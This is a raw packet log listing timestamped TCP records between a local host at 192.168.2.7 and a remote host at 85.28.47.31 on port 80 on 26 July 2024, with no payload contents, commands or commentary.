Jul 26, 2024 08:57:40.651083946 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.651083946 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.651190996 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.651206017 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.651221037 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.651235104 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.651236057 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.651249886 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.651258945 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.651309967 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.651320934 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.651422024 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.651436090 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.651449919 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.651463985 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.651477098 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.651477098 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.651478052 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.651511908 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.651511908 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.651695967 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.651710987 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.651725054 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.651747942 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.651770115 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.651770115 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.651770115 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.651787043 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.651801109 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.651803970 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.651815891 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.651830912 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.651830912 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.651844978 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.651853085 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.651859999 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.651875019 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.651875973 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.651907921 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.652097940 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.652867079 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.652889013 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.652904987 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.652915955 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.652920008 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.652942896 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.652942896 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.652957916 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.652960062 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.652975082 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.652988911 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653002977 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653003931 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.653017044 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653029919 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.653032064 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653045893 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653057098 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.653059006 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653073072 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653088093 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653090000 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.653090000 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.653105021 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653127909 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653139114 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.653141975 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653157949 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653172016 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653186083 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653188944 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.653188944 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.653201103 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653214931 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653228045 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.653228045 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.653336048 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.653398037 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653413057 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653428078 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653444052 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.653498888 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.653523922 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653539896 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653554916 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653577089 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.653577089 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.653740883 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653755903 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653762102 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.653769970 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653784990 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653794050 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.653794050 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.653799057 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653810978 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.653814077 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653829098 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.653853893 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.653853893 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.653891087 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.654047012 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.654062033 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.654076099 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.654088020 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.654124975 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.654124975 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.654201984 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.654217005 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.654232025 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.654246092 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.654249907 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.654249907 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.654259920 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.654275894 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.654289961 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.654304028 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.654305935 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.654305935 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.654305935 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.654316902 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.654324055 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.654330969 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.654337883 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.654376030 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.654525042 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.654954910 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.654978991 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.654993057 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.654994965 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.655006886 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.655018091 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.655020952 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.655033112 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.655035019 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.655050039 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.655050993 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.655065060 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.655066013 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.655077934 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.655078888 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.655093908 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.655096054 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.655108929 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.655117989 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.655123949 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.655136108 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.655139923 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.655148029 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.655160904 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.655163050 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.655177116 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.655191898 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.655205965 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.655222893 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.655222893 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.655222893 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.655253887 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.655730963 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.655747890 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.655774117 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.655935049 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.733225107 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.733258009 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.733280897 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.733294964 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.733303070 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.733303070 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.733309984 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.733325005 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.733340979 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.733340979 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.733347893 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.733380079 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.733469009 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.733895063 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.733948946 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.733962059 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.733980894 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.733980894 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.734038115 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.734052896 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.734065056 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.734093904 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.734093904 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.734186888 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.734200954 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.734216928 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.734220028 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.734247923 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.734247923 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.738729000 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.738781929 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.738782883 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.738795996 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.738821983 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.738845110 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.738924026 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.738938093 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.738951921 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.738967896 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.738979101 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.738979101 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.739001036 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.739041090 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.739077091 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.739077091 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.739120960 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.739135027 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.739149094 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.739162922 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.739164114 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.739180088 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.739191055 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.739218950 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.739382029 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.739396095 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.739409924 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.739420891 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.739443064 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.739490986 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.739511013 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.739525080 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.739556074 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.739573956 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.739612103 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.739748955 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.739763021 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.739775896 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.739790916 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.739804983 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.739819050 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.739833117 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.739837885 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.739837885 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.739837885 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.739846945 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.739862919 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.739866972 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.739866972 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.739953995 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.740151882 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.740165949 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.740180016 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.740192890 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.740194082 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.740206957 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.740228891 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.740242004 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.740256071 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.740267038 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.740267038 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.740267038 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.740269899 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.740284920 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.740299940 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.740314960 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.740314960 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.740322113 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.740336895 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.740345001 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.740385056 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.740385056 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743309021 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743324995 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743340015 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743352890 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743354082 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743370056 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743370056 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743385077 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743398905 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743408918 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743419886 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743434906 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743442059 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743455887 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743462086 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743470907 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743477106 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743486881 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743500948 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743506908 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743515015 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743529081 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743542910 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743549109 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743549109 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743556976 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743571043 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743580103 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743593931 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743617058 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743617058 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743618965 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743633032 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743647099 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743647099 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743648052 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743663073 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743666887 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743678093 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743685961 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743693113 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743705034 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743727922 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743730068 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743742943 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743757963 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743767977 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743767977 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743777037 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743791103 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743799925 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743805885 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743819952 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743834019 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743834019 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743849039 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743863106 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743875980 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743875980 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743876934 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743894100 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743907928 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743911028 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743921995 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743936062 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743937016 CEST	49709	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:40.743949890 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743963957 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743978024 CEST	80	49709	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:40.743979931 CEST	49709	80	192.168.2.7	85.28.47.31
